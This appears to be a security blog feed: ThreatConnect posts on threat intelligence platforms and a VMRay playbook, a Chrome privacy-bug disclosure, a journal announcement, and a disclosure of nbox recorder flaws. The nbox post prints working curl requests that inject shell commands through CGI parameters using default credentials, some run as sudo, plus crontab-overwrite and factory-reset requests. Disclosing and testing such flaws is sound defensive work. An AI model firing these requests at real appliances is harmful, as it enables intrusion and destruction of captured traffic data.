Analyze malware files Automate analysis in multiple third party AMAs Integrated sandbox, limited support for other AMAs
Track threat actors across multiple campaigns Flexible data model aligned to the Diamond Model of Intrusion Analysis Rigid data model with some Kill Chain support
Weed out false positives Globally crowdsourced reports of known false positives Manual tagging

Analysis can be more challenging to evaluate than aggregation because there are so many more options, but that's okay: what's important is that you understand what your team needs and what the TIP provides. For example, if your team is just ramping up and needs room to grow, you'll want a TIP that offers some basic enrichment while still being extensible. If you have a mature team, you'll want one that is flexible enough to adapt to your processes (rather than the other way around).

Action - Send the Relevant Stuff Where It Can Protect You

Getting intelligence out of a TIP is just as important as getting data in. I'd argue that, while taking Action depends on Aggregation and Analysis, Action is the most important job a TIP can do for you.

Action Destination
Deploy to defensive devices SIEM, EDR, firewall, etc.
Publish internal intelligence Security team, executives, risk management
Publish external intelligence ISAC, sharing community, law enforcement
Loop in other teams on critical intel SOC, Incident Response, IT, etc.

So really, the question becomes: what form do you want your intelligence to take, and where do you need it to go?

Action TIP #1 TIP #2
Deploy to defensive devices Integrations, rule-based runtime apps, flexible automation/orchestration engine Integrations, rule-based runtime apps
Publish internal intelligence Export, PDFs, integrations with ticketing systems, scheduled delivery Export
Publish external intelligence TAXII server, export, anonymous crowdsourced analytics TAXII server, export
Loop in other teams on critical intel In-app notifications, email, Slack Email

There's a wide variety of possible outputs, so due to the importance of the Action job it's worthwhile to take the time to assess the desired end state of your intelligence, and how that end state is achieved with any particular TIP.

A Word on Orchestration

I've mentioned several instances above where the job being done is accomplished by way of orchestration or automation. With all the buzz around orchestration, it can be tempting to think that orchestration is something separate from what you want out of a TIP, but that's a mistake. Orchestration is simply a means to an end. If orchestration can make the job you want the TIP to do more effective, then why not consider a TIP with orchestration?

Consider seat belts, airbags, and lane assist. All of those features are designed to do the job of keeping you safe and contribute in different ways and with different levels of effectiveness. Orchestration in a TIP is no different. For example, you might need to detonate malware in an Automated Malware Analysis (AMA) tool. There's lots of ways to accomplish that from a TIP:

  1. Download a file from the TIP and manually upload it to the AMA
  2. Use the TIP's build-in sandbox
  3. Use the TIP's out-of-the-box AMA integration
  4. Use a TIP's orchestration capability to automatically send malware to an AMA, detonate it, retrieve the results, and get notified if something relevant is found

In all four cases, the job being done is the same: malware analysis. What's different is the tools being used and how effective the TIP is at getting the job done resulting in significant time savings. In nearly every case, orchestration is a fantastic tool for making a TIP more effective and a better fit for the specific job you need done for the simple reason that orchestration gives you total control over how that job is performed.

In the end, when we talk about selecting a TIP based on what you and your team need it to do, keep these tips in mind:

  1. Make a checklist of what you and your team need the TIP to aggregate, analyze, and operationalize. Don't rely on a wishlist of features, rely on the jobs you want done.
  2. For each item on the list, consider how it's being done now.
  3. For every TIP you're evaluating, consider how that TIP accomplishes the jobs on your checklist.
  4. Remember that orchestration is just another way to accomplish one of those jobs.

Want to learn more? Sign up for a TC Open account! It's Free

TC Open™ is a completely free way for individual researchers to get started with threat intelligence. While this is not a free trial of the full platform, TC Open allows you to see and share open source threat data, with support and validation from our free community.

The post How to Choose the Right Threat Intelligence Platform for You appeared first on ThreatConnect | Enterprise Threat Intelligence Platform.

A Bug in Chrome Gives Bad Actors License to Play ‘20 Questions’ with Your Private Data

In a 2013 interview with The Telegraph, Eric Schmidt, then CEO of Google was quoted as saying: “You have to fight for your privacy or lose it.”

Five years later, with the ‘Cambridge Analytica’ data breach scandal fresh in our memory, Eric Schmidt’s statement rings as a self-evident truth. Similarly clear today is the nature of the “fight”: a grapple for transparency and corporate accountability that can only be won through individual vigilance.

With this in mind, in this post, we’ll share with you details of a new browser bug we uncovered, which has the potential to affect the majority of web users. With it, bad actors could play a ‘guessing game’ to uncover private data stored on Facebook, Google, and likely many other web platforms.

The bug in question affects all browsers running the Blink engine — used to power Google Chrome –, exposing users who aren’t running the latest version of Chrome. Currently, over 58 percent of the entire internet population uses Google Chrome.

Once the vulnerability was identified, Google patched it in the latest release of Chrome 68; and we strongly recommend that all Chrome users make sure that they’re running the latest version.

Mining Private Data

The bug in question makes use of the Audio/Video HTML tags to generate requests to a target resource.

By monitoring the progress events generated by these requests, it grants visibility into the requested resource’s actual size. As we found out, this information can then be used to “ask” a series of yes and no questions about the browser user, by abusing filtering functions available on social media platforms like Facebook.

For example, a bad actor can create sizeable Facebook posts for each possible age, using the Audience Restriction option, making Facebook reflect the user age through the response size.

The same method can be used to extract the user gender, likes, and many other user properties we were able to reflect through crafted posts or Facebook’s Graph Search endpoints.

Large response size would indicate that the restriction didn’t apply, while small ones would indicate that the content was restricted. Meaning, for instance, that the user is from a disallowed age or gender. With several scripts running at once — each testing a different and unique restriction –, the bad actor can relatively quickly mine a good amount of private data about the user.

In a more serious scenario, the attack script would be running on a site that requires some kind of email registration — an e-commerce or a SaaS site, for instance –. In this case, the above-mentioned practices would allow the bad actor to correlate the private data with the login email address for even more extensive and intrusive profiling.

Attack Flow

When a user visits the bad-actor site, the site injects multiple hidden video or audio tags that request a number Facebook posts the attacker previously published and restricted using different techniques. The attacker can then analyze each request to indicate, for example, the user’s exact age, as it’s saved on Facebook, regardless of their privacy settings.

Discovering the Bug

A few months ago I was researching the Cross-Origin Resource Sharing (CORS) mechanism by checking cross-origin communications of different HTML tags. During my research, I noticed an interesting behavior in the video and audio tags. It seems that setting the ‘preload’ attribute to ‘metadata’ changed the number of times the ‘onprogress’ event was being called in a way that seemed to be related to the requested resource size.

To check my hypothesis, I created a simple NodeJS HTTP server that generates a response in the size of a given parameter. I then used this server endpoint as the resource for the JavaScript shown above.

The script creates a hidden audio element that:

  • Requests a given resource
  • Track the number of times the `onprogress` event was triggered
  • Returns the value of the counter once the audio parsing fails

I started experimenting, requesting different response sizes while looking for a correlation between the size and the number of times the `onprogress` event was triggered by the browser.

As you can see in the graph below, when response size is zero only one `onprogress` event is called, for a response of around 100KB the event is called twice, and the number of events continues to increase, allowing me to estimate the size of most web pages.

From this, we see that the number of `onprogress` events correlates with the size of the response, hence we can indicate whether the restriction criteria was met.

Conclusion

Once we confirmed the vulnerability we reported it to Google with a proof of concept, and the Chrome team responded by patching the vulnerability in Chrome’s 68 release.

We’re delighted to have contributed to protecting the privacy of the entire user community, as we continuously do for our community.

Playbook Fridays: Conducting VMRay Malware Analysis

Save time with a one-click process

ThreatConnect developed the Playbooks capability to help analysts automate time consuming and repetitive tasks so they can focus on what is most important. And in many cases, to ensure the analysis process can occur consistently and in real time, without human intervention.

An automated malware analysis system (AMA) is a requirement in any defender's repertoire. Any time that can be saved during an analyst's process performing what amounts to menial labor can be spent on actual analysis and proactively defending an organization.

This Playbook takes a suspicious or malicious file sample from ThreatConnect's Malware Vault and transmits it to an automated malware analysis system, in this case, VMRay, submitting it for dynamic and static analysis. It turns a manual, multiple-click process into a simple, one-click process, saving a small amount of time, which really adds up over the course of weeks and months.

The Playbook is triggered by a User Action. In this case, the run playbook button is mapped to Documents in ThreatConnect. This generates a button on the Document's details page called "VMRay Analyze".

The Playbook downloads the malware sample and copies the archive password stored in an attribute of the Document. These two, as well as any configuration settings, are submitted to VMRay's REST API. The Playbook checks whether either of two TLPs are marking the sample: TLP:RED or TLP:AMBER. If they are present, the sample is only analyzed by VMRay, it is not additionally checked with third party scanners. Finally, the Playbook checks for errors and returns a nice tooltip with a link to the analysis report in VMRay's portal.

 

Entire-VMRay-Submission-Playbook

Entire VMRay Submission Playbook

 

 

New-Playbook-Return-on-Investment-Calculator

New Playbook Return on Investment Calculator

 

 

In the latest release of ThreatConnect, Playbooks now have a Return on Investment (ROI) calculator. By estimating the time saved by running a playbook compared with the time wasted by an analyst performing the process manually, one is able to calculate roughly how much money a playbook is saving a team over time.

 

The following are a few highlights from certain steps in the Playbook:

Set-Variable-App-First-In-the-Sequence-of-the-Playbook

 

A set variable app is first in the sequence of the playbook. This allows the user to set various options used during submission to VMRay.

Implementation-of-JMESPath

This step uses an implementation of JMESPath to check if the sample in the ThreatConnect Malware Vault has been marked with a security label. In this case, it is checking for TLP:AMBER and TLP:RED, two designations that are part of the traffic light protocol, a system for governing how data may be shared and with whom. In this case, data that is marked with either of these two restrictive TLPs will be sent only to VMRay and not to any third party system.

ThreatConnect-Data-Store-to-Save-the-API-Response-from-VMRay

This step leverages ThreatConnect's data store to save the API response from VMRay. As you can see, this uses the "Organization" domain of the data store. This allows other playbooks running in one's org in ThreatConnect access to the data that this playbook writes there. Any further operations can then be built out in other playbooks based on the saved data.

VMRay-Analyze-User-Action

The trigger for this playbook is a User Action. This provides a button on the malware vault document that runs the playbook in the context of that Document. After the sample has been submitted for analysis to VMRay, a link back to the report in VMRay's portal is displayed to the user as a tooltip that appears above the button once it has been clicked. If for some reason the analysis failed at the time of submission, the error message is displayed in the same tooltip for the user to view.

The post Playbook Fridays: Conducting VMRay Malware Analysis appeared first on ThreatConnect | Enterprise Threat Intelligence Platform.

ACM Digital Threats: Research and Practice

CERT/CC is very excited to announce a new journal in collaboration with ACM called ACM Digital Threats, Research and Practice.

The journal (DTRAP) is a peer-reviewed journal that targets the prevention, identification, mitigation, and elimination of digital threats. DTRAP promotes the foundational development of scientific rigor in digital security by bridging the gap between academic research and industry practice. The journal welcomes the submission of scientifically rigorous manuscripts that address extant digital threats, rather than the laboratory model of potential threats. To be accepted for publication, manuscripts must demonstrate scientific rigor and present results that are reproducible.

DTRAP invites researchers and practitioners to submit manuscripts that present scientific observations about the identification, prevention, mitigation, and elimination of digital threats in all areas, including computer hardware, software, networks, robots, industrial automation, firmware, digital devices, etc. For articles involving analysis, the journal requires the use of relevant data and the demonstration of the importance of the results. For articles involving the results of structured observation, the journal requires explicit inclusion of rigorous practices, for example, experiments should clearly describe why internal validity, external validity, containment and transparency hold for the experiment described.

Topics relevant to the journal include, but are not limited to:

  • Network Security
  • Web-based threats
  • Point-of-sale threats
  • Closed-network threats
  • Malicious software analysis
  • Exploit analysis
  • Vulnerability analysis
  • Adversary tactics
  • Threat landscape studies
  • Criminal ecosystem studies
  • Virus response patterns
  • Adversary attack patterns
  • Studies of security operations processes/practices/TTPs
  • Assessment and measurement of security architectures/organization security posture
  • Threat information management and sharing
  • Security services or threat intelligence ecosystem studies
  • Impact of new technologies/protocols on the threat landscape

For further information and to submit your paper, visit Manuscript Central or write to dtrap-editors@acm.org

Got any RCEs?

Security is a boomin’, and so there are many different appliances to protect your network. Some of them do very little to protect, some of them open new holes in your network.

In line with best practice, many Security teams capture all network traffic using a variety of solutions, some closed, some open source. Once the traffic is stored, it can be used to detect badness, or just examine traffic patterns on corporate assets.

One of these open source options is NTOP, which of course has an appliance version, called nbox recorder.  It goes without saying, if this traffic data were to be exposed, the consequences could be catastrophic. Consider stored credentials, authentication data, PII, internal data leakage...
pcap_tee.png
PCAP or it didn't happen

You can either buy a ready-to-go appliance or with some drudge work you can build your own. Just get a license for nbox and just put it into a Linux box, they are nice like that providing all the repositories and the steps are simple and easy to follow. Just spin up an Ubuntu VM and run:


wget http://apt.ntop.org/14.04/all/apt-ntop.deb
sudo dpkg -i apt-ntop.deb
sudo apt-get clean all
sudo apt-get update
sudo apt-get install -y pfring nprobe ntopng ntopng-data n2disk cento nbox





BOOM! You are ready to go. Now you have a nbox recorder ready to be used. And abused!
The default credentials are nbox/nbox and it does use Basic Auth to be accessed.

Before I continue, imagine that you have this machine capturing all the traffic of your network. Listening to all your corporate communications or production traffic and storing them on disk. How bad would it be if an attacker gets full access to it? Take a minute to think about it.


nervs.gif
Uh-oh...
This level of exposure caught my eye, and I wanted to verify that having one of these sitting in your network does not make you more exposed. Unfortunately, I found several issues that could have been catastrophic with a malicious intent.

I do believe in the responsible disclosure process, however after repeatedly notifying both ntop and MITRE, these issues were not given high priority nor visibility. The following table details the timeline around my disclosure communications: 

Disclosure Timeline

12/27/2014 - Sent to ntop details about some nbox vulnerabilities discovered in version 2.0
01/15/2015 - Asked ntop for an update about the vulnerabilities sent
01/16/2015 - Requested by ntop the details again, stating they may have been fixed
01/18/2015 - Sent for a second time the vulnerabilities details. Mentioned to request CVEs
05/24/2015 - Asked ntop for an update about the vulnerabilities sent and to request CVEs
01/06/2016 - Noticed new nbox version is out (2.3) and found more vulnerabilities. Old vulnerabilities are fixed. Sent ntop an email about new issues and to request CVEs
01/06/2016 - Quick answer ignoring my request for CVEs and just asking for vulnerabilities details.
01/28/2016 - Sent request for CVEs to MITRE, submitting a full report with all the issues and steps to reproduce.
02/17/2016 - Asked MITRE for an update on the issues submitted.
02/17/2016 - Reply from MITRE: “Your request is outside the scope of CVE's published priorities. As such, it will not be assigned a CVE-ID by MITRE or another CVE CNA at this time.”

07/10/2016 - Noticed new nbox version (2.5) with partial fixes for some vulnerabilities in the previous (2.3) version

The ntop team initially refused to comment and silently fixed the bugs. MITRE then said this wasn't severe enough to warrant a CVE. As such, I have now chosen to highlight the issues here in an effort to have them remediated. I again want to highlight that I take this process very seriously, but after consulting with multiple other individuals, I feel that both the ntop team and MITRE have left me no other responsible options.
neotrain1.jpg
Here comes the paintrain!

*Replace NTOP-BOX with the IP address of your appliance (presuming that you already logged in). Note that most of the RCEs are wrapped in sudo so it makes the pwnage much more interesting:


RCE: POST against https://NTOP-BOX/ntop-bin/write_conf_users.cgi with parameter cmd=touch /tmp/HACK

curl -sk --user nbox:nbox --data 'cmd=touch /tmp/HACK' 'https://NTOP-BOX/ntop-bin/write_conf_users.cgi'


RCE: POST against https://NTOP-BOX/ntop-bin/rrd_net_graph.cgi with parameters interface=;touch /tmp/HACK;


curl -sk --user nbox:nbox --data 'interface=;touch /tmp/HACK;' 'https://NTOP-BOX/ntop-bin/rrd_net_graph.cgi'


RCE (Wrapped in sudo): GET https://NTOP-BOX/ntop-bin/pcap_upload.cgi?dir=|touch%20/tmp/HACK&pcap=pcap


curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/pcap_upload.cgi?dir=|touch%20/tmp/HACK&pcap=pcap'


RCE (Wrapped in sudo): GET https://NTOP-BOX/ntop-bin/sudowrapper.cgi?script=adm_storage_info.cgi&params=P%22|whoami%3E%20%22/tmp/HACK%22|echo%20%22


curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/sudowrapper.cgi?script=adm_storage_info.cgi&params=P%22|whoami%3E%20%22/tmp/HACK%22|echo%20%22'

RCE: POST against https://NTOP-BOX/ntop-bin/do_mergecap.cgi with parameters opt=Merge&base_dir=/tmp&out_dir=/tmp/DOESNTEXIST;touch /tmp/HACK;exit%200

curl -sk --user nbox:nbox --data 'opt=Merge&base_dir=/tmp&out_dir=/tmp/DOESNTEXIST;touch /tmp/HACK;exit 0' 'https://NTOP-BOX/ntop-bin/do_mergecap.cgi'

There are some other interesting things, for example, it was possible to have a persistent XSS by rewriting crontab with a XSS payload on it, but they fixed it in 2.5. However the crontab overwrite (Wrapped in sudo) is still possible:

GET https://NTOP-BOX/ntop-bin/do_crontab.cgi?act_cron=COMMANDS%20TO%20GO%20IN%20CRON

curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/do_crontab.cgi?act_cron=COMMANDS%20TO%20GO%20IN%20CRON'

The last one is a CSRF that leaves the machine fried, by resetting the machine completely:
GET https://NTOP-BOX/ntop-bin/do_factory_reset.cgi

curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/do_factory_reset.cgi'


To make things easier, I created a Vagrantfile with provisioning so you can have your own nbox appliance and test my findings or give it a shot. There is more stuff to be found, trust me :)


And you can run the checker.sh to check for all the above attacks. Pull requests are welcome if you find more!



Screen Shot 2016-07-26 at 10.00.27.png





nodding.gif





(The issues were found originally in nbox 2.3 and confirmed in nbox 2.5)

Modules for metasploit and BeEF will come soon. I hope this time the issues are not just silently patched...

If you have any questions or feedback, hit me up in twitter (@javutin)!

Have a nice day!